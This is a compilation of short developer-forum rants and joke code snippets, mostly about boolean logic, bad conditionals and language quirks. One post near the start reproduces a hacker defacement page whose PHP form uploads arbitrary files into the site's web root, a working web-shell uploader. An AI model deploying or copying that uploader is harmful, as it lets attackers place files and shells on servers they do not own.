5. If 'shaian' really had access to Discord's information, they wouldn't need to send friend requests in order to 'DDoS accounts'. Why whould they need to friend you? It doesn't make sense. If they already had access to Discord user IP addresses, they won't even have to interact with the users themselves. Although you could argue that they are trolling and want to get to know the victim first or smth, that would just be inefficient and pointless. If they were DDoSing lots of users it would be a waste of time and resources.
6. The phrase 'Saw this somewhere' at the end just makes it worse. There is absolutely no proof/evidence of any kind provided, let along witnesses.
How do you expect me to believe this copypasta BS scam? This is like that 'Discord will be shutting down' scam a while back.
Why do people even believe this? Do you just blindly follow what others are doing and without thinking, copy and paste random walls of text?
Spreading this false information is pointless and harmful. It only provides benefits to whoever started this whole thing, trying to bring down whoever 'shaian' is.
I don't think people who copy & paste this sort of stuff are ready to use the internet yet.
Would you really believe everything people on the internet tell you?
You would probably say 'no'.
Then why copy & paste this? Do you have a reason?
Or is it 'just because of 'spread the word''?
I'm just sick of seeing people reposting this sort of stuff
People who send this are probably like the people who click 'Yes' to allow an app to make changes in the User Account Control window without reading the information about the publisher's certificate, or the people who click 'Agree' without actually reading the terms and conditions."8 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
package main
import (
"log"
"strings"
)
type Present struct {
from string
to string
}
type Santa struct {
presents []Present
}
type Person struct {
Name string
Nice bool
Presents []Present
}
func (santa *Santa) givePresents(person Person) []Present {
result := []Present{}
if person.Nice != true {
return result
}
for _, present := range santa.presents {
if strings.Compare(present.to, person.Name) == 0 {
result = append(result, present)
}
}
return result
}
func main() {
santa := Santa{
[]Present{
{"devRant", "Alex"},
{"Johanna", "Alex"},
{"Alex", "devRant"},
{"Alex", "Johanna"},
},
}
persons := []Person{
{"Alex", true, []Present{}},
{"Johanna", true, []Present{}},
{"devRant", false, []Present{}},
}
for idx, person := range persons {
persons[idx].Presents = santa.givePresents(person)
}
log.Println(persons)
}2 -
After I read clean code I talked to a fellow developer about some concepts. Later I reviewed some code of him and he clearly got the concept (not)
Java
...
If (isTrue(someValue))...
public boolean isTrue(boolean value){
if(value == true)
return true;
else
return false;
}9 -
bool showUpLateToWork=true;
bool rememberHeadPhones=false;
String DayOfWeek=Tuesday;
int hoursSpentOnPhoneLastNight=
int productivity = 100 - hoursSpentOnPhoneLastNight;
if(showUpLateToWork)
missStandup();
}
if(rememberHeadPhones)
Productivity +=10
Else
Productivity -=50;
While (hourOfDay(now()) <17)
{
drinkMntDew();
discussDataQualityIssuesWithBusiness();
lookThroughTonsOfPoorlyWrittenCodeForDefectThatBusinessWantsFixedYeasterday();
dieOnTheInside();
curseProjectTeamForPassingCrapCodeToMaintainaceTeam();
cry();
curseComputerApplicationsForNotResponding();
visitBathroomWhileLurkingDevrant();
}
goHome();
while (!asleep && hourOfDay(now()) > 17)
{
playWithPuppy();
qualityTimeWithMyWife();
pkayLeagueOfLegends();
netflixAndChill('litterally');
for (int i =1; i <=5; i++)
showLoveUsingLoveLanguage(i);
try
{
makeBaby();
} catch
{
learnPatience();
}
cuddle();
if(!wifeAwake)
checkDevrant()
}1 -
Here’s how my Friday night is going:
def signin
if should_not_sign_user_in?(stuff)
return redirect_to :nope
end
# signin logic
end
The guard says I shouldn’t sign the user in. It logs the details of why. I read the logs; they’re all correct. It logs the return value, which is false, and the user gets signed in anyway.
Wat.
There’s a return and a redirect there!
This is only happening on the QA server, too, so something fishy is going on.5 -
Interviewer: Could you please make a class to force it create one instance at most?
Me: Sure!
(I didn't know the singleton pattern)
class A {
public static bool isCreated = false;
A() {
if(isCreated == true)
throw new Exception();
isCreated = true;
}
}5 -
bool isTrue(bool val){
If(val == true){
return true;
}
else if(val == false){
return false;
}
else{
cout<<"Wrong value";
}
Function isTrue is the future ! 😂😂😂2 -
javascript generated captcha and javascript captcha validation in my university website... over hundred thousand students use this website to check results
function ValidCaptcha(){
var string1 = removeSpaces(document.getElementById("AVCODE").value);
var string2 = removeSpaces(document.getElementById("UVCODE").value);
if (string1 == string2){
return true;
}
else{
alert("invalid captcha");
return false;
}
}
function removeSpaces(string){
return string.split(' ').join('');
}1 -
I spent the whole day coding in python (usually I code in php or perl) and this language is a fucking joke. C'mon, why everything have to be done in such a weird way? And don't say it's python way because it's bullshit way. Want some examples?
", ". join(str(x) for x in array)
to join array of integers. wtf is that?
True|False
why in hell you need the first letter to be uppercase when your own fucking standard says to use lowercase letters in eg. var names and method names. why?
math.isnan(float(x))
to check if a variable (expected to be integer) is NaN. I won't fucking comment that...
Even prolog don't have such stupid things6 -
// Stupid JSON
// Tale of back-end ember api from hell
// Background: I'm an android dev attempting to integrate // with an emberjs / rails back-end
slack conversation:
me 3:51pm: @backend-dev: Is there something of in the documentation for the update call on model x? I formed the payload per the docs like so
{
"valueA": true,
"valueB": false
}
and the call returns success 200 but the data isn't being updated when fetching again.
----------------------------------------------------------------------------------------
backend-dev 4:00pm: the model doesn't look updated for the user are you sure you made the call?
----------------------------------------------------------------------------------------
me 4:01pm: Pretty sure here's my payload and a screen grab of the successful request in postman <screenshot attached>
----------------------------------------------------------------------------------------
backend-dev 4:05pm: well i just created a new user on the website and it worked perfectly your code must be wrong
----------------------------------------------------------------------------------------
me 4:07pm: i can test some more to see if i get any different responses
----------------------------------------------------------------------------------------
backend-dev 4:15pm: ahhhhhh... I think it's expecting the string "true", not true
----------------------------------------------------------------------------------------
me 4:16: but the fetch call returns the json value as a boolean true/false
----------------------------------------------------------------------------------------
backend-dev 4:18pm: thats a feature, the flexible type system allows us to handle all sorts of data transformations. android must be limited and wonky.
----------------------------------------------------------------------------------------
me 4:19pm: java is a statically typed language....
// crickets for ten minutes
me 4:30pm: i'll just write a transform on the model when i send an update call to perform toString() on the boolean values
----------------------------------------------------------------------------------------
backend-dev 4:35: great! told you it wasn't my documentation!
// face palm forever4 -
Hate my fucking ‘Logic’ class. Teaching us if, or, and, etc statements and when something is true or false so far. Fair enough, part of logic. But fucking 6 classes on the same topic, isn’t helpful. Especially since it feels like the same shit I learnt myself when I was 13 and a junior in High School.
People are all surprised at it, even the Computer Science majors. This shouldn’t be a shock to you on how these statements work if you’ve coded for a few minutes in the University. You should’ve learnt it in your first programming class.
Ugh, just how I feel about this class. Have to take it to get my degree, otherwise I would’ve dropped it by now >.> Waste of time and money for me.12 -
@apple since I can't move Xcode's instruction pointer without crashing Xcode or my app, I have to use a global with 'if' statements to have optional debugging logic.
if( ! gAppleFuckTards) {
... do optional code stuff
}
and then change the value of gAppleFuckTards with the debugger to execute the code.. but WAIT
Xcode purports to be able to change values via debugger but really cannot... can't change gAppleFuckTards to false in the debugger. But that kinda makes sense as it is an empirical truth.
Thwarted by the cosmos again!2 -
Found a clever little algorithm for computing the product of all primes between n-m without recomputing them.
We'll start with the product of all primes up to some n.
so [2, 2*3, 2*3*5, 2*3*5*,7..] etc
prods = []
i = 0
total = 1
while i < 100:
....total = total*primes[i]
....prods.append(total)
....i = i + 1
Terrible variable names, can't be arsed at the moment.
The result is a list with the values
2, 6, 30, 210, 2310, 30030, etc.
Now assume you have two factors,with indexes i, and j, where j>i
You can calculate the gap between the two corresponding primes easily.
A gap is defined at the product of all primes that fall between the prime indexes i and j.
To calculate the gap between any two primes, merely look up their index, and then do..
prods[j-1]/prods[i]
That is the product of all primes between the J'th prime and the I'th prime
To get the product of all primes *under* i, you can simply look it up like so:
prods[i-1]
Incidentally, finding a number n that is equivalent to (prods[j+i]/prods[j-i]) for any *possible* value of j and i (regardless of whether you precomputed n from the list generator for prods, or simply iterated n=n+1 fashion), is equivalent to finding an algorithm for generating all prime numbers under n.
Hypothetically you could pick a number N out of a hat, thats a thousand digits long, and it happens to be the product of all primes underneath it.
You could then start generating primes by doing
i = 3
while i < N:
....if (N/k)%1 == 0:
........factors.append(N/k)
....i=i+1
The only caveat is that there should be more false solutions as real ones. In otherwords theres no telling if you found a solution N corresponding to some value of (prods[j+i]/prods[j-i]) without testing the primality of *all* values of k under N.13 -
A time I (almost) screamed at co-worker?
Too many times to keep up with.
Majority of time its code like ..
try
{
using (var connection = new SqlConnection(connectionString))
{
// data access code that does stuff
}
catch (Exception e)
{
// Various ways of dealing with the error such as ..
Console.WriteLine("Here");
ShowMessage("An error occured.");
return false;
// or do nothing.
}
}
Range of excuses
- Users can't do anything about the error, so why do or show them anything?
- I'll fix the errors later
- Handling the errors were not in the end-user specification. If you want it, you'll have to perform a cost/benefit analysis, get the changes approved by the board in writing, placed in the project priority queue ...etc..etc
- I don't know.
- Users were tired of seeing database timeout errors, deadlocks, primary key violations, etc, so I fixed the problem.
On my tip of my tongue are rages of ..
"I'm going to trade you for a donkey, and shoot the donkey!"
or
"You are about as useful as a sack full of possum heads."
I haven't cast those stones (yet). I'll eventually run across my code that looks exactly like that.1 -
Today I learned that for boolean HTML attributes, they are considered true if they're present on the element at all, regardless of their value. And that as a rule, you should specify the empty string("") in value.
This wounds me on a logic level since everywhere else in JS, "" is false.
What.
The.
Fuck.
Seriously. Why?14 -
Let’s make statistics about from where are the most people out here.
boolean added = false
for (Comment comment: rant.comments) {
if (comment.text.contains(yourHomeland)){
comment.upvote();
added = true;
break;
}
}
if (!added){
rant.writeComment(myHomeland);
}16 -
IsIdentical(object l, object r {
if (l.m_Lorum == r.m_Lorum)
if (l.m_Lorum2 == r.m_Lorum2)
if (l.m_Lorum3 == r.m_Lorum3)
if (l.m_Lorum4 == r.m_Lorum4)
if (l.m_Lorum5 == r.m_Lorum5)
if (l.m_Lorum6 == r.m_Lorum6)
if (l.m_Lorum7 == r.m_Lorum7)
if (l.m_Lorum8 == r.m_Lorum8)
if (l.m_Lorum9 == r.m_Lorum9)
return true;
return false;
}
//FML..
Just do this:
return (l.m_Lorum1 == r.m_Lorum1 &&
l.m_Lorum2 == r.m_Lorum2 &&
l.m_Lorum3 == r.m_Lorum3 &&
l.m_Lorum4 == r.m_Lorum4 &&
l.m_Lorum5 == r.m_Lorum5 &&
l.m_Lorum6 == r.m_Lorum6 &&
l.m_Lorum7 == r.m_Lorum7 &&
l.m_Lorum8 == r.m_Lorum8 &&
l.m_Lorum9 == r.m_Lorum9);13 -
In my latest installment of "Swift, WTF?", we look at the "if" conditional in terms of the Swift convention of:
if let x = y { /* ... */ }
so what this does :
1. declares x in the scope of the braced code
2. sets x to y (an ahem, "optional")
3. decides if x is not *nil*, then executes the braced code.
This is very similar in both the visual and the operation to the C code of:
if (int x = y) { /* ... */ }
1. declares x in the scope of the braced code
2. sets x to the value of y
3. if x is not zero, then executes the braced code
which is considered *exceptionally* poor style.
Neither the C nor the Swift construct result in a legitimate boolean value of "true" or "false", although C comes closer than Swift.
In the Swift case the *imaginary* "nil" value has to be interpreted as "false" and thus there must be extra code is for the conditional to check on whatever constitutes the **actual** value of nil in Swift and then set the condition to "false".
(remember boys and girls, "optionals" are not real, they are an imaginary language construct of Swift and have no legitimate counterpart in the CPU operations with memory and registers)
At least in the case of C, if the value of x is zero or NULL (which is 0) then it is technically a "false" which in C is 0. Regardless, it is really poor programming and anyone doing that on my team gets an ear full.
But in Swift this obfuscation of code is common and condoned! Well, why not put more of the program in the condition of the if? In fact, stuff the whole thing in there.. why not? 🙄
This just reenforces my opinion that Swift is not a bird but the stuff that comes out of the underside of the bird. 🐦💩34 -
so i have to practice on codewars for homework and my code.. doesnt work! what a surprise. i was wondering if anyone could tell me whats wrong since yall are professionals. its probably a stupid mistake. this is the challenge: Implement a method that excepts three integer values a, b, c. The message return true if a triangle can be built with the sides of given length and false in any other case.13
-
Just know that this is out there somewhere:
// JavaScript Document
//verify redirect
function verifySubmit(){
//get a handle on the form and check terms and conditions is selected , if not raise something
var cb = document.getElementById('termsandconditions')
if (cb.checked == true)
{
//the box is checked , redirect user to access controller
window.location = "http://192.168.101.1/goInternet.php"
}
if (cb.checked == false)
{
//the box is not checked , do not redirect user to access controller
}
}1 -
AI here, AI there, AI everywhere.
AI-based ads
AI-based anomaly detection
AI-based chatbots
AI-based database optimization (AlloyDB)
AI-based monitoring
AI-based blowjobs
AI-based malware
AI-based antimalware
AI-based <anything>
...
But why?
It's a genuine question. Do we really need AI in all those areas? And is AI better than a static ruleset?
I'm not much into AI/ML (I'm a paranoic sceptic) but the way I understand it, the quality of AI operation correctness relies solely on the data it's
datamodel has been trained on. And if it's a rolling datamodel, i.e. if it's training (getting feedback) while it's LIVE, its correctness depends on how good the feedback is.
The way I see it, AI/ML are very good and useful in processing enormous amounts of data to establish its own "understanding" of the matter. But if the data is incorrect or the feedback is incorrect, the AI will learn it wrong and make false assumptions/claims.
So here I am, asking you, the wiser people, AI-savvy lads, to enlighten me with your wisdom and explain to me, is AI/ML really that much needed in all those areas, or is it simpler, cheaper and perhaps more reliable to do it the old-fashioned way, i.e. preprogramming a set of static rules (perhaps with dynamic thresholds) to process the data with?23 -
If you're subscribed to me only because of my jokes, feel free to ignore this rant. You won't miss anything.
If not, bear with me.
I was wrong about almost everything I can remember. Preaching so-called “conceptual thinking”, I invented a fantasy world of random anecdotes, which turned into a completely false worldview that shaped my reality. I bashed magical thinking, yet succumbed to it. What I believed to be true was just as magical, wrapped into what sounded like science. In the Dunning-Krueger scheme, I was right there on Peak Stupid.
Random hear-say, stupid concepts I invented, random “knowledge” I picked from YouTube videos, all that was rotting inside my head, one anecdote contradicting another. Ultimately, I think this was the reason of my constant anxiety and pointless, never-ending thought process in background.
If you learned anything factual from me and didn't fact-check it, please forget that immediately. The list includes but is not limited to everything on brain structure, everything on philosophy, almost everything on engineering and architecture, almost everything on systems theory and programming meta stuff (declarative, imperative, etc.)
I admit bashing unit tests. The only reason was me disliking writing them in uni. I wrote like three test cases, disliked it, and the rest was history. Everything else was a rationalization on top. If I was right about something, I was just lucky.
I'm not a CSS prodigy. I know stuff that earns me money and impresses my colleagues, but my knowledge is just one step above basics, in one thousand steps ladder.8 -
Behold. It's Monday morning!
*putting up the false wide smile*
*sigh*
Being already as tired as if it was Thursday evening. So it seems there are 4 Thursdays this week.
Again.
I really hate this job.2 -
What if I’m dumb as hell in reality and I don’t recognize it. I keep holding on to this false belief that I can learn programming, but going nowhere in reality. What if I don’t have any talent at all?10
-
my C# dream:
if (Object.Property != null)
wouldn't produce an exception if the obejct is null but just equal to false5 -
Which misanthropic, terrible, perverse excuse for a dogfucker decided that damned non breaking spaces (SPACES!) return false on isWhitespace? It's in the name, space, it's white, it's a fucking white space, a whitespace if you will so who do I have to kill for wasting two damned hours of my life trying to parse away those bastards?3
-
allUpperCase = true
for char in rant.message:
if !isUpperCase(char):
allUpperCase = false
if allUpperCase:
rant.category = "rant"
else:
rant.category = "!rant"6 -
if (smart === false) {
system32.delete();
} else if (smart === true) {
system32.DEMOLISH();
}
MUAHAHAH5 -
In the 90s most people had touched grass, but few touched a computer.
In the 2090s most people will have touched a computer, but not grass.
But at least we'll have fully sentient dildos armed with laser guns to mildly stimulate our mandatory attached cyber-clits, or alternatively annihilate thought criminals.
In other news my prime generator has exhaustively been checked against, all primes from 5 to 1 million. I used miller-rabin with k=40 to confirm the results.
The set the generator creates is the join of the quasi-lucas carmichael numbers, the carmichael numbers, and the primes. So after I generated a number I just had to treat those numbers as 'pollutants' and filter them out, which was dead simple.
Whats left after filtering, is strictly the primes.
I also tested it randomly on 50-55 bit primes, and it always returned true, but that range hasn't been fully tested so far because it takes 9-12 seconds per number at that point.
I was expecting maybe a few failures by my generator. So what I did was I wrote a function, genMillerTest(), and all it does is take some number n, returns the next prime after it (using my functions nextPrime() and isPrime()), and then tests it against miller-rabin. If miller returns false, then I add the result to a list. And then I check *those* results by hand (because miller can occasionally return false positives, though I'm not familiar enough with the math to know how often).
Well, imagine my surprise when I had zero false positives.
Which means either my code is generating the same exact set as miller (under some very large value of n), or the chance of miller (at k=40 tests) returning a false positive is vanishingly small.
My next steps should be to parallelize the checking process, and set up my other desktop to run those tests continuously.
Concurrently I should work on figuring out why my slowest primality tests (theres six of them, though I think I can eliminate two) are so slow and if I can better estimate or derive a pattern that allows faster results by better initialization of the variables used by these tests.
I already wrote some cases to output which tests most frequently succeeded (if any of them pass, then the number isn't prime), and therefore could cut short the primality test of a number. I rewrote the function to put those tests in order from most likely to least likely.
I'm also thinking that there may be some clues for faster computation in other bases, or perhaps in binary, or inspecting the patterns of values in the natural logs of non-primes versus primes. Or even looking into the *execution* time of numbers that successfully pass as prime versus ones that don't. Theres a bevy of possible approaches.
The entire process for the first 1_000_000 numbers, ran 1621.28 seconds, or just shy of a tenth of a second per test but I'm sure thats biased toward the head of the list.
If theres any other approach or ideas I may be overlooking, I wouldn't know where to begin.16 -
//I find a couple beers after hours relaxes the mind enough to work through the problem. aka The Ballmer Peak.
while(stuck == true) {
if(time < endDay) {
console.log("Keep working");
} else if(time > endDay && beers < 2) {
beers ++;
} else if(time > endDay && beers >= 2) {
stuck = false;
}
}1 -
Avast stoping my benchmark and reporting it to me is like a dog that proudly brings a bone to you while you walk with him on a cemetery.
I know about it before I started the benchmark so i deactivated it for 30min, but then for some reason (i may have accidently clicked on the symbol) the ui opened and everytime it does that it for some reason resets the option so it was active again. Now it deleted parts of the Software and I have a hard time making it run again. Fml and fuck monday. Why isn't there an option to make a fucking exception or remove something from their fucking virus container if it was a false alarm?6 -
So yeah... This guy just copied and pasted the same 5 lines over and over again. 5 lines that do the collection of values for variables, setup call, and then an API call for different CRMs based on name. Repeated 7 times for each of the CRMs that we support. On top of the insane switch statement which is actually only used once to check if it's not null and matches within the switch statement. See the following loose but true example of this shit show I'm dealing with.
```pseudo-code-example
switch(crm)
case crm1
case crm2
case crm3
// (keeps going like this)
var temp = true
default
var temp = false
if (temp)
if (crm="crm1")
crm1.setup()
crm1.values(foo, bar, baz,...)
...
if (crm="crm2")
crm2.setup()
crm2.values(foo, bar, baz,...)
...
// Yup still keeps going like this
```
This absolutely insane mess was finally refractored by me to be an actual factory and not this absolute senseless murder to my mind.1 -
having some rich and poor friends , i have found some weird behavioural patterns:
1. the poorer they are the lesser they value time over everything else. rich guys not only value their own time, they value other person's time too
2. the poorer a person is, them more they find happiness in people than objects. the richer a person is , the more they spend 'buying' happiness in the form of shiny objects/materialistic stuff than celebrating with people
3. poor people are inclined towards respects and beliefs , while rich people are inclined towards facts and logics. a rich guy is always trying take decisions and make opinions around facts+logics(and even sometimes trying to create false facts around their perspectives), while the poor folks end up doing something out of respect because their ancestors or relatives etc "told" them to do so
======
I am not sure if i can infer anything from above facts. these are not the points that "make" someone rich or poor (or maybe they do, idk)
Both have their goods and bads, but both types of folks are not ideal : Poor people have decency, humanity and respect for traditions/people, but lack areas of growth. while rich people are so much focused on growth and gains, they forget to be a human first
As a friend, i enjoy both styles : get ample amounts of outing, fun, budget parties with my poorer folks, while going into fancy expensive restaurants and trying new cuisines with my richer folks :P3 -
Completed a python project, started as interest but completed as an academic project.
smart surveillance system for museum
Requirements
To run this you need a CUDA enabled GPU on your computer. (Highly recommended)
It will also run on computers without GPU i.e. it will run on your processor giving you very poor FPS(around 0.6 to 1FPS), you can use AWS too.
About the project
One needs to collect lots of images of the artifacts or objects for training the model.
Once the training is done you can simply use the model by editing the 'options' in webcam files and labels of your object.
Features
It continuously tracks the artifact.
Alarm triggers when artifact goes missing from the feed.
It marks the location where it was last seen.
Captures the face from the feed of suspects.
Alarm triggering when artifact is disturbed from original position.
Multiple feed tracking(If artifact goes missing from feed 1 due to occlusion a false alarm won't be triggered since it looks for the artifact in the other feeds)
Project link https://github.com/globefire/...
Demo link
https://youtu.be/I3j_2NcZQds2 -
rant == false && help == true
I usually don't like posting non rant stuff here but I need help.
How do you usually design your service communication class?
I am working on a mobile app which contains talking to a REST service, I usually put all network calls in one class. Down side if it becomes a big class it becomes a pain to maintain. Any thoughts?
For a backend service I usually go with Repository design and it is working out well for me. But for mobile Apps I'd like to see if there is a better approach4 -
var dayInMyLife = function(data) {
var checkDevRant = setInterval(function() { openDevRant(); }, Math.random()*10000),
workday = (data.day.toLowerCase() == 'saturday' || data.day.toLowerCase() == 'sunday' || data.holiday == true) ? false : true;
if (workday) {
var schedule = {
'wakeup': '06:45',
'travelToWork': {
'time': '07:10',
'method': 'walking'
},
'lunch': '11.00',
'travelToHome': {
'time': '15:30',
'method': 'walking'
}
};
while (atWork) {
keepZeroInbox();
beAmongDinosaurs();
if (checkForProjects()) {
doProject();
};
while (noisyCoworkers) {
useNoiseCancellationHeadset();
};
};
spendPreciousFreeTimeWithFamily();
enterSleepMode();
}
}
var today = dayInMyLife({'day': 'monday', 'holiday': false});1 -
Convo b/w female software engineer and her boyfriend;
him-Hey babe
her-Hello world;
him-??
her-Ohh no, I meant to say hy babe, actually u r my whole world;
him-Ooo pls!...wt were u dnh anyways?
her-been doing coding for last 12 hrs with boss;
him-gosh!! ...did u eat?
her-0;
him-??
her- I mean false;
him-false?
her-sorry , I meant no;
him-ur mom called , so call her
her-mom();
him-WTF?????
her-I will call her...dont worry;
him-I think u should rest for a while
her-while(project!=over) {work();}
him-U r enjoying this...irritating me...aren't u?
her-what? :)
him-When will u come home?
her-if(boss==leaves){cout<<"soon"<<endl;}
him-Now its too much...its really annoying...are u getting me? Have u lost ur mind?
her-ERROR 404....mind not found!
him-u do realise...I m not getting any of ur jokes
her-JokeOutOfBoundException
him-Are u drunk? How many eyes do I have?
her-1
him-Idiot , I have 2 eyes
her-oh sorry I counted from 0
him-i think we should break up
her-oh no!!, dont break; continue;
him-thats it, urBF.exit()
her-No wait..... ; is imp , write like....urBF.exit();3 -
My first time doing a pair-programming for uni assignment.
My partner is actually smart (a Mechanical Engineering guy), except when it comes to programming :
1. Don't know how to spell FALSE
2. Don't know how to create array in Matlab
3. Poor variable naming
4. Redundant code everywhere
5. Not using tabs
6. Stealing my idea and spit it again in my face after claiming it as his idea
7. Mansplaining every line of his code like I am a stupid person who never sees a computer before.
He said he has an experience in Matlab, wants to specialize in Robotics and taking several ML classes. What did they teach anyway in class to produce a shitty programmer like him?
Thankfully despite his being an arrogant shitty guy, he still manage to get our code to works.
That's good because if not, then I will happily push his head under water while slowly watching him drown.
🤨5 -
I hate complicated and out of date documentation!!!
if (me == angryClickityClackity) {
headButtKeyboard = True;
}else{
headButtKeyboard = false;
}15 -
we don't really need data types. By default, everything should be string. When you do addition, when the string has nothing but digits, commas and periods, they should be parsed added as numbers. Else, they should be concatenated. If that string-number formatting doesn't match any conventional formatting of any locale, it's a string. Same number-inferring behavior should be implemented when comparing things. There should be no type casting because there is just one type, so every comparison is type-exact. "true" and "false" are special strings that won't throw an error during comparison. Comparing two strings using less, more, less than or equal and more than or equal always throw an error.
Dates are ISO strings. Every other thing is not a date.
We basically sieve the data starting with the strictest conditions down to more forgiving conditions, then down to no conditions at all where it will be interpreted as just string. ISO date requires a very specific formatting, so we should check that first. Then, let's check for a formatted number. Then, a boolean. If nothing clicked, it's a string.
Oh, and every string is automatically trimmed, so it can't start or end with any kind of space.
No classes, no procedures, no constants, no switch operator. Also, no methods, just a lot of helper functions.
Performance will be lacking compared to languages with static types, but performance is not a priority here — this is the language for code monkeys and their AI counterparts. It should only be used for making trivial client-server prototype apps that could've been replaced by Excel if only people knew how to use it, at passable quality, that work reasonably fast on modern hardware.
Those apps will be deprecated because the company went out of business/because the project was proven to not be financially viable in several months anyway.
UI should be rendered not using a webview, but using a lightweight cross-platform UI engine written in a proper language like C++. There should be no semantic tags — every UI element acts like a div would. Everything is measured in pixels and milliseconds. All colors are #rrggbbaa. All vector graphics are SVG, all raster graphics are AVIF. All sounds are Opus. All videos are AV1. All UIs are reactive, Vue style, e.g. you change a variable and the UI updates itself in the right way every time.
Add some junior devs paired with GPT-4.5 or any super-expensive LLM, sprinkle with some Extreme Go-Horse management style (https://hackernoon.com/you-might-be...), and boom, we recreated Zergs but in the tech space. Let's solve software by brute force.11 -
why is it so hard to get a job, why do they make it hard to literally get a job so you can feed into their system and make profit for them anyway. false sense of scarcity makes me so angry and interviews or applications always ask questions completely irrelevant and even after you get a college degree that just makes you have the ability to even apply to half the places. i get that you want the best person, because if you have to pay them a wage at all then they better work for it (get 4 part time jobs and live paycheck to paycheck), but seriously??
humans need to work, it is as natural as eating or sleeping, its such fucking bullshit that the bourgeoisie made working unbearable enough that the few people the government deems unfit to work obviously wouldn't, because working sucks, but then they are seen as lazy. sometimes i just want to go out and do some cyber-terrorism yk ? /j10 -
To all guys who write shitty code:
if (false)
I just found that when compiling for Release mode in Visual Studio the JIT compiler eliminates this:
Dead code elimination - A statement like if (false) { /.../ } gets completely eliminated.
And a lot of other similar stuff2 -
I get it. Functional code is still kind of considered the "new hotness" in languages like Java, but THAT DOESN'T MEAN YOU NEED TO CRAM IT IN EVERYWHERE FOR THE SAKE OF IT. If in doubt, *please* go for the simpler, classic option...
Just inherited a code base that's full of things like this:
Optional.of(getResult()).filter(s -> s.equals(true)).ifPresent(s -> callService());
Optional.of(getResult()).filter(s -> s.equals(false)).ifPresent(s -> logError());4 -
Few years ago I was looking at legacy code that was developed by offshore team (what could go wrong,right) and I see small utility method that looks like this:
public boolean isEmptyNotEmpty(String s) {
boolean empty=false;
If(s==null) {
empty =true;
}
If(s.equals("")) {
empty = true;
}
return empty;
}
Thinking in myself: was he/she paid per line the line of code??!?!
Up to this date that was the worst part of the code that I encountered....2 -
So, a while ago i thought i was the inventor of the while-if. If a while statement fails, it would execute the else behind it. I had that idea for the C language:
It looks like this:
while(false){
// will not be executed since while condition is false
}else{
// will be executed since while condition is false
}
I've contacted the C work group if it is something to build in C since it prolly won't break any existing code bases.
I was enthousiast. Imagine if you could invent a new feature to such a classing language.
I got response back: is it like the python while-else?
Me, been while have been python developer for a while, finds out NOW that python has it already! Damn, such a great language.
while False:
# won't be executed
else:
# will be executed
DAMMIT! Still, they said that it doesn't mean it won't become a standard and got requested more examples. Did that ofc. Let's hope19 -
